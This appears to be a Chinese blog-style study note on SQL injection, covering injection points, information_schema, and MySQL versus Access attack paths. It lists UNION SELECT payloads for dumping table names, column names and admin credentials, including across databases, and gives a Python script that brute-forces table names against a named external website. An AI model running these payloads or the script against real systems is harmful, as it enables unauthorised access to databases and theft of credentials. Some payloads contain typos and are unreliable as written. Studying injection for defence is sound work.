前置知识(搭建环境失败,搞不了实验了,学下理论知识吧)
sql注入
脚本代码在实现代码与数据库进行数据通讯时(从数据库中取出相关数据),将定义的SQL语句进行执行查询数据时其中的SQL语句能通过参数传递自定义值来实现控制sQL语句,从而执行恶意的SQL语句可以实现查询其他数据(数据库中的敏感数据,如管理员帐号密码)。
危害
数据库可以干嘛,sql注入就能干嘛
sql语句功能(查询,删除,添加,修改等操作)
sql语句有写法规则,也就是说必须符合正确的写法才能执行成功
sql注入漏洞产生的根本条件,可控变量和特定函数
http://192.168.46.160:85/Production/PRODUCT.asp
http://192.168.46.160:85/Production/PRODUCT.asp?id=1513
如果下面的URL地址测试注入判断id有注入,手工测试该如何进行?
http://192.168.46.160:85/Production/PRoDucT.asp?id=1513&page=1
Production/PRODUCT.asp?id=1513 注入语句&page=1对
Production/PRODUCT.asp?id=1513&page=1注入语句 错
sql注入攻击流程:
1、猜测数据库类型
2、根据类型选择思路
Access 独立存在
数据库名
表名
列明
数据
MYSQL 统一管理
最高数据库用户=root用户
数据库A=网站A=数据库用户A
表名
列明
数据
数据库B=网站B=数据库用户B
数据库C=网站C=数据库用户C
为了网站和数据库的安全性,MYSQL内置有ROOT最高用户,划分等级,每个用户对应管理一个数据库,这样保证无不关联,从而不会影响到其他数据库的运行。MYSQL两种思路:
1、非ROoT的注入攻击:常规类的猜解
2、ROOT用户的注入攻击:文件读写操作,跨库查询注入等
怎么看是不是root用户,黑盒使用user()参数,白盒看连接的数据库即可
MYSQL5.0以上版本:自带的数据库名information_schema
information_schema:存储数据库下的数据库名及表名,列名信息的数据库
information_schema.tables:记录表名信息的表
information_schema.columns:记录列名信息表
information_schema.tables:记录列名信息表
获取相关数据:
1、数据库版本-看是否符合information_schema查询-version()
2、数据库用户-看是否符合root型注入攻击-user()
3、当前操作系统-看你是否支持大小写或文件路径选择-@@version_compile_os
4、数据库名字-为后期猜解指定数据库下的表,列做准备-database()
ROOT类型攻击-猜解数据,文件读写,跨库查询
获取当前数据库下面的表名信息:
UNION SELECT table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
from information_schema.tables where table_schema='syguestbook'
获取表名sy_adminuser的列名信息:
UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name='sy_adminuser'
and table_schema='syguestbook'
获取指定数据:
UNION SELECT username,password,
3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from sy_adminuser
跨库注入:实现当前网站跨库查询其他数据库对应网站的数据获取
当前mysq1下的所有数据库名
UNION SELECT schema_name,2 3 4 5,6 7 8 9 10 11 12 13 14 15,16,17
from information_schema.schemata
获取数据库名xhcms下的表名信息
UNION SELECT table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema='xhcms'
获取数据库名xhcms下的表manage下的列名信息:
UNION SELECT column name,2,3,4,5,6,7,8,9,10,11,12 13,14,15,16,17 from information schema.columns where table_name='manage' and table_schema='xhcms'
获取指定数据:
UNION SELECT user,password,3,4,5,6,7,8,9,10,11, 12,13,14,15,16,17 from xhcms/manage
select * from product where id=1513
select * from product where id=1513
查询admin表名:
union select
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
查询admin表名下的admin等列名
UNION select 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
#ASP+ACCESS-简易注入-字典猜解(组合iis+asp+access)
由于Access数据库特性导致这个SQI注入是需要借助字典去猜解表名和列名的,那么就会出现表名或列名猜解不到,可以自定义社工字典或采用偏移注入。
#ASP+Access-偏移注入-报错显示偏移注入就是解决表名已知,列名未知的情况!
还有一个编码注入,有一点麻烦,因为上篇博客有写sql注入,所以这篇没有详细写了,asp+access环境搭建有问题,暂时没有实战
看源代码,python写的
import base64
import requests
url='http://www.comresearch.org/researchDetails.php?id='
sqlin='1 union select 1,2,3,4,5,6,7 from '
for lieming in open('common-tables.txt'):
lieming=lieming.strip()
s=sqlin+lieming
print(s)
ss=base64.b64encode(s.encode('utf-8'))
urls=url+ss.decode('utf-8')
print(urls)
s=requests.get(urls).content
print(len(s))
源码没问题,漏洞被修了,不过也可以参考源码
参考文章(asp+access搭建)windows server2016
Windows 2016服务器环境安装IIS和创建ASP.NET网站的教程 - 知乎 (zhihu.com)
遇到问题,参考这篇文章,我的源位置是D://sources/sxs
windows server 2016 .NET Framework 3.5 安装 找不到源文件。_请使用“源”选项指定还原该功能所需的文件位置。有关指定源位置的详细信息,请参-CSDN博客